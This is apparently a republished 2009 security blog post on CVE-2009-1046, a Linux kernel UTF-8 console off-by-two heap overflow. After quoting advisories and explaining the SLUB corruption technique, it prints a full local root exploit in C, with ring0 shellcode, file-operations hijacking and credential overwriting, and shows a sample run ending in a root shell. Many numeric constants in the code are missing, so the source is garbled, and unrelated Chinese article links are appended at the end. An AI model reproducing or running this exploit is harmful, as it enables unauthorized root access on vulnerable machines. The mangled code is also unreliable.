Source:http://kernelbof.blogspot.jp/2009/07/even-when-one-byte-matters.html

Common Vulnerabilities and Exposures

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1046

"The console selection feature in the Linux kernel 2.6.28 before 2.6.28.4, 2.6.25, and possibly earlier versions, when the UTF-8 console is used, allows physically proximate attackers to cause a denial of service (memory corruption) by selecting a small number of 3-byte UTF-8 characters, which triggers an "an off-by-two memory error. NOTE: it is not clear whether this issue crosses privilege boundaries."

Ubuntu Security Notice USN-751-1

http://www.ubuntu.com/usn/usn-751-1

"The virtual consoles did not correctly handle certain UTF-8 sequences. A local attacker on the physical console could exploit this to cause a system crash, leading to a denial of service."

RedHat Security Advisory

http://rhn.redhat.com/errata/RHSA-2009-0451.html

"An off-by-two error was found in the set_selection() function of the Linux kernel. This could allow a local, unprivileged user to cause a denial of service when making a selection of characters in a UTF-8 console. Note: physical console access is required to exploit this issue."

When I was looking at vendor advisories regarding SCTP remote issue i got attracted by another bug regarding hypothetical kernel heap overflow.

For the umpteenth time the impact of the vulnerability is : DoS only.

The impact of this issue is highly limited because of you need a VC attached to your process to exploit it, but it's worth spending some time on it since it's not an everyday bug to find in the kernel.. it's an interesting scenario: an off-by-one(two) kernel heap overflow.

As I did for the previous post, I'm not going to give any detailed

description of the exploit: it should be straightforward enough to

everyone who's used to play with internal kernel structures.

What I'm about to do is, once again, just briefly introduce the

vulnerability and then spend some time on showing how it is possible to

turn it in a nearly one-shot exploit.

Before going on i want to include a digression about this blog:

the original idea was to publish a month by month exploit regarding DoS-claiming-only vulnerability in the linux kernel.

After publishing the first post, about SCTP remote exploit, i received some roasts.

Someone pulled me down about disclosing a few cool stuff.

I want to point out that i just wrote the exploit: i did not kill the vulnerability.

I don't like full disclosure, at least i don't like what full disclosure has become today: a freaking race between killer-vulns-guys.

Even if i think there's a big difference between killing vulnerabilities and writing good exploit code i 'm not sure if i'll continue publishing these stuffs.

The buffer is allocated here:

file: /drivers/char/selection.c

func: set_selection()

multiplier = use_unicode ? 3 : 1;

bp = kmalloc((sel_end-sel_start)/2*multiplier+1, GFP_KERNEL);

then the function copies the buffer:

sel_buffer = bp;

obp = bp;

for (i = sel_start; i <= sel_end; i += 2) {

c = sel_pos(i);

if (use_unicode)

bp += store_utf8(c, bp);

...

...

The loop goes from sel_start to sel_end (inclusive). The last character is not multiplied by multiplier (which has value 3) and so we can overflow the buffer by 1 or 2 byte. To make the overflow meaningful we have to allocate a buffer close to the size of a cache object slab or the overflow will end up in the pad zone. Since we can control the "delta" between sel_start and sel_end we can arbitrary choose the slub to be used.

On of the better slub to pick usually is the 96 bytes slub.. but it doesn't fulfill our goal because:

63 / 2 * 3 + 1 = 94

(if we overflow 2 byte we get 96.. no meaningful overflow happens..)

64 / 2 * 3 + 1= 97

(too large to fit in..)

We pick instead the 128 slub cache.. using a gap equal to:

84 / 2 * 3 = 127

(if we overflow 2 bytes we have meaningful off-by-one heap overflow)

Now we can overflow into another 128 byte object which has some interesting meaningful pointer or we can smash internal SLUB structure.

The exploit takes the latter approach smashing internal SLUB structure taking full control of the SLUB allocation engine.

I decide to use again a previously disclosed structure as a placeholder: SCTP ssnmap struct.

This can lead to some problem with SELinux.

There are other interesting structures to pick in the place of SCTP ones but it is not worth showing them here for such an not useful exploit.

A couple of words about lack of full-recovery in the exploit. On boxes protected by zero mapping kernel protection the code leaves two descriptors holding smashed pointers in its internal structures. Before executing the shell the code migrates those descriptors inside a child process. When this child process will be killed (after reboot?) the kernel oops.

A different way could be:

- migrate descriptors inside some daemon using ptrace()/SCM_RIGHT

- directly patch smashed pointers adding code to the ring0 shellcode

- using a stupid lkm

The exploit works only on x86-64 platform with SLUB allocator but anyone can run it on x86 kernel modifying a couple of lines.

Talking about "external resources", the exploit uses "/proc/slabinfo" and "/proc/kallsyms". The former is not crucial but increases the exploitation odds close to 100% on idle boxes. The latter is not needed if you have access to the kernel image.

I'd like to thank twiz for his pioneer work on original old SLAB exploitation approach: it helps me much in abusing new SLUB counterpart.

Tested on target:

Ubuntu 8.04 x86_64 (generic/server)

Ubuntu 8.10 x86_64 (generic/server) (CTRL + ALT + F1 ==> VC Mode)

Fedora Core 10 x86_64 (default installed kernel - without SElinux)

$ ./tioctl_houdini

[**] Patching ring0 shellcode with userspace addr: 0x4017e0

[**] Using port: 25433

[**] Getting slab info...

[**] Mapping Segments...

[**] Trying mapping safe page...Page Protection Present (Unable to Map Safe Page)

[**] Mapping High Address Page (don't kill placeholder child)

[**] Mapping Code Page... Done

[**] Binding on CPU 0

[**] Start Server Thread..

...

...

...

┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼

┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼

┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼

[**] Umapped end-to-end fd: 212

[**] Unsafe fd: ( 210 224 214 212 )

[**] Hijacking fops...

[**] Migrate evil unsafe fds to child process..

[**] Child process 25463 _MUST_ NOT die..keep it alive:)

[**] Got root!

# id

uid=0(root) gid=0(root) groups=1001(anon)

GAME OVER

The exploit code can be downloaded here.

/* CVE-2009-1046 Virtual Console UTF-8  set_selection() off-by-one(two) Memory Corruption
* Linux Kernel <= 2.6.28.3
*
* coded by: sgrakkyu <at> antifork.org
* http://kernelbof.blogspot.com/2009/07/even-when-one-byte-matters.html
*
* Dedicated to all people talking nonsense about non exploitability of kernel heap off-by-one overflow
*
* NOTE-1: you need a virtual console attached to the standard output (stdout)
* - physical login
* - ptrace() against some process with the same uid already attached to a VC
* - remote management ..
*
* NOTE-2: UTF-8 character used is: U+253C - it seems to be supported in most standard console fonts
* but if it's _not_: change it (and change respectively STREAM_ZERO and STREAM_ZERO_ALT defines)
* If you use an unsupported character expect some sort of recursive fatal ooops:)
*
* Designed to be built as x86-64 binary only (SLUB ONLY)
* SCTP stack has to be available
*
* Tested on target:
* Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server)
* Ubuntu 8.10 x86_64 (2.6.27_7-10 genric/server)
* Fedora Core 10 x86_64 (default installed kernel - without selinux)
*
*/ #define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <errno.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <string.h>
#include <linux/tiocl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/mman.h>
#include <sched.h>
#include <unistd.h>
#include <fcntl.h> #ifndef __x86_64__
#error "Architecture Unsupported"
#error "This code was written for x86-64 target and has to be built as x86-64 binary"
#else #ifndef __u8
#define __u8 uint8_t
#endif
#ifndef __u16
#define __u16 uint16_t
#endif
#ifndef __u32
#define __u32 uint32_t
#endif
#ifndef __u64
#define __u64 uint64_t
#endif #define STREAM_ZERO 10
#define STREAM_ZERO_ALT 12 #define SCTP_STREAM 22
#define STACK_SIZE 0x1000
#define PAGE_SIZE 0x1000
#define STRUCT_PAGE 0x0000000000000000
#define STRUCT_PAGE_ALT 0x0000000100000000
#define CODE_PAGE 0x0000000000010000
#define LOCALHOST "127.0.0.1"
#define KMALLOC "kmalloc-128"
#define TIMER_LIST_FOPS "timer_list_fops" #define __msg_f(format, args...) \
do { fprintf(stdout, format, ## args); } while() #define __msg(msg) \
do { fprintf(stdout, "%s", msg); } while() #define __fatal_errno(msg) \
do { perror(msg); __free_stuff(); exit(); } while() #define __fatal(msg) \
do { fprintf(stderr, msg); __free_stuff(); exit(); } while() #define CJUMP_OFF 13
char ring0[]=
"\x57" // push %rdi
"\x50" // push %rax
"\x65\x48\x8b\x3c\x25\x00\x00\x00\x00" // mov %gs:0x0,%rdi
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41" // mov xxx, %rax
"\xff\xd0" // callq *%rax
"\x58" // pop %rax
"\x5f" // pop %rdi
"\xc3"; // retq /* conn struct */
static __u16 srvport;
struct sockaddr_in server_s;
static struct sockaddr_in caddr; /* some fds.. */
static int g_array[];
static int fd_zmap_srv=-;
static int kmalloc_fd=-;
static int unsafe_fd[] = {-,-,-,-}; /* misc */
static int dorec = , cankill=, highpage=;
static char cstack[STACK_SIZE*];
static __u16 zstream=STREAM_ZERO;
static __u32 uid,gid;
static __u64 fops;
static pid_t child=;
static char symbuf[]; static void __free_stuff()
{
int i;
for(i=; i<; i++)
{
if((unsafe_fd[] == i || unsafe_fd[] == i ||
unsafe_fd[] == i || unsafe_fd[] == i))
continue; close(i);
}
} static void bindcpu()
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(, &set); if(sched_setaffinity(, sizeof(cpu_set_t), &set) < )
__fatal_errno("setaffinity");
} /* parse functions are not bof-free:) */
static __u64 get_fops_addr()
{
FILE* stream;
char fbuf[];
char addr[]; stream = fopen("/proc/kallsyms", "r");
if(stream < )
__fatal_errno("open: kallsyms"); memset(fbuf, 0x00, sizeof(fbuf));
while(fgets(fbuf, , stream) > )
{
char *p = fbuf;
char *a = addr;
memset(addr, 0x00, sizeof(addr));
fbuf[strlen(fbuf)-] = ;
while(*p != ' ')
*a++ = *p++;
p += ;
if(!strcmp(p, TIMER_LIST_FOPS))
return strtoul(addr, NULL, );
} return ;
} static int get_total_object(int fd)
{
char name[];
char used[];
char total[];
char *ptr[] = {name, used, total};
int ret,i,toread=sizeof(symbuf)-;
char *p = symbuf; lseek(fd, , SEEK_SET);
memset(symbuf, 0x00, sizeof(symbuf));
while( (ret = read(fd, p, toread)) > )
{
p += ret;
toread -= ret;
} p = symbuf;
do
{
for(i=; i<sizeof(ptr)/sizeof(void*); i++)
{
char *d = ptr[i];
while(*p != ' ')
*d++ = *p++;
*d = ;
while(*p == ' ')
p++;
} while(*p++ != '\n'); if(!strcmp(KMALLOC, name))
return atoi(total); } while(*p != );
return ;
} static void ring0c(void* t)
{
int i;
__u32 *p = t;
for(i=; i<; i++,p++)
{
if(p[] == uid && p[] == uid && p[] == uid && p[] == uid &&
p[] == gid && p[] == gid && p[] == gid && p[] == gid)
{
p[] = p[] = p[] = p[] = ;
p[] = p[] = p[] = p[] = ;
/* dont care about caps */
break;
}
}
} static int get_kmalloc_fd()
{
int fd;
fd = open("/proc/slabinfo", O_RDONLY);
if(fd < )
__fatal_errno("open: slabinfo");
return fd;
} static int write_sctp(int fd, struct sockaddr_in *s, int channel)
{
int ret;
ret = sctp_sendmsg(fd, "a", ,
(struct sockaddr *)s, sizeof(struct sockaddr_in),
, , channel, ,);
return ret;
} static void set_sctp_sock_opt(int fd, __u16 in, __u16 out)
{
struct sctp_initmsg msg;
int val=;
socklen_t len_sctp = sizeof(struct sctp_initmsg);
getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp);
msg.sinit_num_ostreams=out;
msg.sinit_max_instreams=in;
setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp);
setsockopt(fd, SOL_SCTP, SCTP_NODELAY, (char*)&val, sizeof(val));
} static int create_and_init(void)
{
int fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
if(fd < )
__fatal_errno("socket: sctp");
set_sctp_sock_opt(fd, SCTP_STREAM, SCTP_STREAM);
return fd;
} static void connect_peer(int fd, struct sockaddr_in *s)
{
int ret;
ret = connect(fd, (struct sockaddr *)s, sizeof(struct sockaddr_in));
if(ret < )
__fatal_errno("connect: one peer");
} static void conn_and_write(int fd, struct sockaddr_in *s, __u16 stream)
{
connect_peer(fd,s);
write_sctp(fd, s, stream);
} static int clone_thread(void*useless)
{
int o = ;
int c=,idx=;
int fd, ret;
struct sockaddr_in tmp;
socklen_t len; bindcpu();
server_s.sin_family = PF_INET;
server_s.sin_port = htons(srvport);
server_s.sin_addr.s_addr = inet_addr(LOCALHOST); fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
if(fd < )
return -; set_sctp_sock_opt(fd, SCTP_STREAM, SCTP_STREAM);
setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o)); ret = bind(fd, (struct sockaddr *)&server_s, sizeof(struct sockaddr_in));
if(ret < )
return -; ret = listen(fd, );
if(ret < )
return -; len = sizeof(struct sockaddr_in);
while((ret = accept(fd, (struct sockaddr *)&tmp, &len)) >= )
{
if(dorec != && c >= dorec && idx < )
{
g_array[idx] = ret;
if(idx==)
{
fd_zmap_srv = ret;
caddr = tmp;
break;
}
idx++;
}
c++;
write_sctp(ret, &tmp, zstream);
} sleep();
return ;
} static int do_mmap(unsigned long base, int npages)
{
void*addr = mmap((void*)base, PAGE_SIZE*npages,
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -, ); if(MAP_FAILED == addr)
return -; memset(addr, 0x00, PAGE_SIZE*npages); return ;
} pid_t start_listener()
{
pid_t pid;
pid = clone(clone_thread, cstack+STACK_SIZE-,
CLONE_VM|CLONE_FILES|SIGCHLD, NULL); return pid;
} static void do_socks(struct sockaddr_in *s, __u16 stream)
{
int i,fd;
int n_objs = get_total_object(kmalloc_fd), tmp_n_objs;
int next=; for(i=; next != ; i++)
{
fd = create_and_init(); tmp_n_objs = get_total_object(kmalloc_fd);
if(!dorec && tmp_n_objs != n_objs)
dorec=i; conn_and_write(fd, s, stream);
if(dorec)
next--;
}
} static void clr(int fd)
{
/* use termcap instead..*/
write(fd, "\33[H\33[J", );
} static char tiobuffer[];
void alloc_tioclinux()
{
int i;
char out[*];
/* Unicode Character 'BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL' (U+253C) */
char utf8[] = { 0xE2, 0x94, 0xBC };
//char utf8[3] = { 0xE2, 0x80, 0xBC };
struct tiocl_selection *sel;
char *t;
void *v = malloc(sizeof(struct tiocl_selection) + );
t = (char*)v;
sel = (struct tiocl_selection *)(t+);
memset(out, 0x41, sizeof(out));
for(i=; i<; i++)
{
tiobuffer[(i*)]=utf8[];
tiobuffer[(i*)+]=utf8[];
tiobuffer[(i*)+]=utf8[];
} *t = TIOCL_SETSEL;
sel->xs = ;
sel->ys = ;
sel->xe = ;
//sel->xe = 42; /* no overflow */
sel->ye = ; write(, tiobuffer, sizeof(tiobuffer));
if(ioctl(, TIOCLINUX, v) < )
__fatal("[!!] Unable to call TIOCLINUX ioctl(), need stdout to be on a virtual console\n");
} static void migrate_evil_fd()
{
int i;
pid_t child; __msg("[**] Migrate evil unsafe fds to child process..\n");
child = fork();
if(!child)
{ /* preserve evil fds */
setsid();
if(!cankill) /* cant die .. */
while()
sleep();
else
{
sleep(); /* wait execve() before */
for(i=; i<; i++)
close(unsafe_fd[i]); exit();
}
}
else
{
if(!cankill)
__msg_f("[**] Child process %d _MUST_ NOT die ... keep it alive:)\n", child);
}
} static void trigger_fault()
{
char *argv[]={"/bin/sh", NULL};
int fd,i; fd = open("/proc/timer_list", O_RDONLY);
if(fd >= )
{
ioctl(fd, , );
__free_stuff();
migrate_evil_fd(); for(i=; i<; i++)
close(unsafe_fd[i]); if(!getuid())
{
__msg("[**] Got root!\n");
execve("/bin/sh", argv, NULL);
}
}
else
{
__msg("[**] Cannot open /proc/timer_list");
__free_stuff();
}
} static void overwrite_fops( int sender,
struct sockaddr_in *to_receiver,
int receiver)
{
char *p = NULL;
if(!highpage)
p++;
else
p = (void*)STRUCT_PAGE_ALT; __u64 *uip = (__u64*)p;
*uip = fops;
write_sctp(sender, to_receiver, );
sleep();
trigger_fault();
} static __u16 get_port()
{
__u16 r = (__u16)getpid();
if(r <= 0x400)
r+=0x400;
return r;
} int main(int argc, char *argv[])
{
int peerx, peery,i;
__u64 *patch; srvport = get_port(); uid=getuid();
gid=getgid();
fops=get_fops_addr() + ;
if(!fops)
{
__msg("[!!] Unable to locate symbols...\n");
return ;
} __msg_f("[**] Patching ring0 shellcode with userspace addr: %p\n", ring0c);
patch = (__u64*)(ring0 + CJUMP_OFF);
*patch = (__u64)ring0c; __msg_f("[**] Using port: %d\n", srvport);
__msg("[**] Getting slab info...\n");
kmalloc_fd = get_kmalloc_fd();
if(!get_total_object(kmalloc_fd))
__fatal("[!!] Only SLUB allocator supported\n"); __msg("[**] Mapping Segments...\n");
__msg("[**] Trying mapping safe page...");
if(do_mmap(STRUCT_PAGE, ) < )
{
__msg("Page Protection Present (Unable to Map Safe Page)\n");
__msg("[**] Mapping High Address Page (dont kill placeholder child)\n");
if(do_mmap(STRUCT_PAGE_ALT, ) < )
__fatal_errno("mmap"); cankill=; /* dont kill child owning unsafe fds.. */
highpage=; /* ssnmap in higher pages */
zstream=STREAM_ZERO_ALT;
}
else
__msg("Done\n"); __msg("[**] Mapping Code Page... ");
if(do_mmap(CODE_PAGE, ) < )
__fatal_errno("mmap");
else
__msg("Done\n"); memcpy((void*)CODE_PAGE, ring0, sizeof(ring0)); __msg("[**] Binding on CPU 0\n");
bindcpu(); __msg("[**] Start Server Thread..\n");
child = start_listener();
sleep(); do_socks(&server_s, zstream);
for(i=; i<; i++)
{
close(g_array[--i]);
}
clr();
alloc_tioclinux(); // trigger overflow
peerx = create_and_init();
connect_peer(peerx, &server_s);
peery = create_and_init();
connect_peer(peery, &server_s); sleep(); unsafe_fd[] = peerx;
unsafe_fd[] = g_array[];
unsafe_fd[] = peery;
unsafe_fd[] = g_array[]; __msg("\n");
__msg_f("[**] Umapped end-to-end fd: %d\n", fd_zmap_srv);
__msg_f("[**] Unsafe fd: ( "); for(i=; i<; i++)
__msg_f("%d ", unsafe_fd[i]);
__msg(")\n"); __msg("[**] Hijacking fops...\n");
overwrite_fops(fd_zmap_srv, &caddr, peery); /* if u get here.. something nasty happens...may crash..*/
__free_stuff();
__msg("[**] Exploit failed.. freezing process\n");
kill(getpid(), SIGSTOP);
return ;
} #endif

[转]Even when one byte matters的更多相关文章

  1. weblogic漏洞总结 复现(未完)

    复现方式 Docker复现 WEBlogic爆出了很多漏洞 先了解一下现在主流的版本 Weblogic 10.3.6.0 Weblogic 12.1.3.0 Weblogic 12.2.1.1 Web ...

  2. How to Design a Good API and Why it Matters

    前谷歌首席 Java 架构师谈如何设优秀的 API – 码农网 http://www.codeceo.com/article/google-java-good-api.html 2015-11-24 ...

  3. go语言:多个[]byte数组合并成一个[]byte

    场景:在开发中,要将多个[]byte数组合并成一个[]byte,初步实现思路如下: 1.获取多个[]byte长度 2.构造一个二维码数组 3.循环将[]byte拷贝到二维数组中 package gst ...

  4. Android-Drawable、Bitmap、byte[]、资源文件相互转换

    我们在Android的开发中,经常可以遇到图片的处理,当中,有很多是 Bitmap.Drawable.byte[]和资源文件它们直接相互转换. 今天就此总结一下: 1.资源文件转为Drawable 2 ...

  5. byte[] 转成图片方法

    /// <summary> /// ImageData 的摘要说明 /// </summary> public class ImageData : IHttpHandler { ...

  6. flask+sqlite3+echarts2+ajax数据可视化报错:UnicodeDecodeError: 'utf8' codec can't decode byte解决方法

    flask+sqlite3+echarts2+ajax数据可视化报错: UnicodeDecodeError: 'utf8' codec can't decode byte 解决方法: 将 py文件和 ...

  7. .NET和JAVA中BYTE的区别以及JAVA中“DES/CBC/PKCS5PADDING” 加密解密在.NET中的实现

    场景:java 作为客户端调用已有的一个.net写的server的webservice,输入string,返回字节数组. 问题:返回的值不是自己想要的,跟.net客户端直接调用总是有差距 分析:平台不 ...

  8. 用java String类的getBytes(String charsetName)和String(byte[] bytes, String charsetName)解决乱码问题

    Java中String的数据是如何存储的,查看源代码就可以知道,String的数据是存储在char[] value这样一个成员变量中的,char类型的大小在java中是2个字节 我们还知道,现在普遍使 ...

  9. 字节、字、bit、byte的关系

    字 word 字节 byte 位 bit 字长是指字的长度 1字=2字节(1 word = 2 byte) 1字节=8位(1 byte = 8bit)  一个字的字长为16 一个字节的字长是8 bps ...

随机推荐

  1. DDD实践案例:引入事件驱动与中间件机制来实现后台管理功能

    DDD实践案例:引入事件驱动与中间件机制来实现后台管理功能 一.引言 在当前的电子商务平台中,用户下完订单之后,然后店家会在后台看到客户下的订单,然后店家可以对客户的订单进行发货操作.此时客户会在自己 ...

  2. linux_删除空文件(大小等于0的文件)的方法

    1: 查看 find . -name "*" -type f -size 0c 2:删除 find . -name "*" -type f -size 0c | ...

  3. TS流文件

    简单介绍编辑 随着从HDTV录制的高清节目在网上的流传,烧友们对TS这个名词大概已经不陌生了.但随之而来就是怎样播放.怎样加入字幕等等的一系列问题.本文将重点介绍一下这方面的应用操作. 先来简要介绍一 ...

  4. 2014年辛星jquery解读第二节

    *************jquery的语法****************** 1.jquery是通过选取HTML元素,而且对选取的元素运行某些操作,从而完毕某些特效的. 2.因此,我们在使用jQu ...

  5. Angularjs -- 核心概念

     angularjs旨在减轻使用AJAX开发应用程序的复杂度,使得程序的创建.測试.扩展和维护变得easy.以下是angularjs中的一些核心概念. 1. client模板      多页面的应用通 ...

  6. 使用myeclipse将Javaj项目标ar套餐邂逅classnotfound解决问题的方法

    做一件事的今天,该Java项目打包成jar文件.折腾2小时,最终运行jar文件报告classnotfound异常,我觉得程序写入依赖jar包不玩成,但是,我手动添加.或不.网上找了很多办法.或不.后. ...

  7. POJ 2492 并查集应用的扩展

    A Bug's Life Time Limit: 10000MS Memory Limit: 65536K Total Submissions: 28651 Accepted: 9331 Descri ...

  8. 湘潭oj1203/邀请赛A称号 数论+java睑板

    乞讨 n%1+n%2+n%3+n%4+.........n%n=,n<=10^12次要. 一味的找规律之初.没有发现.后来,前辈执教后,人才平淡,所以,现在唯一明确的. 首先在地图上: 对于该题 ...

  9. unity多边形uv地图

    我曾经写过一篇文章,不规则图形uv地图.(http://blog.csdn.net/itolfn/article/details/17240131)我用三角算法.但是,这种方法已经不完全,有一个指明: ...

  10. IOS开发中怎样验证邮箱的合法性

    IOS开发中怎样验证邮箱的合法性 文章参考:http://www.codes51.com/article/detail_94157.html 代码: - (void)viewDidLoad { [su ...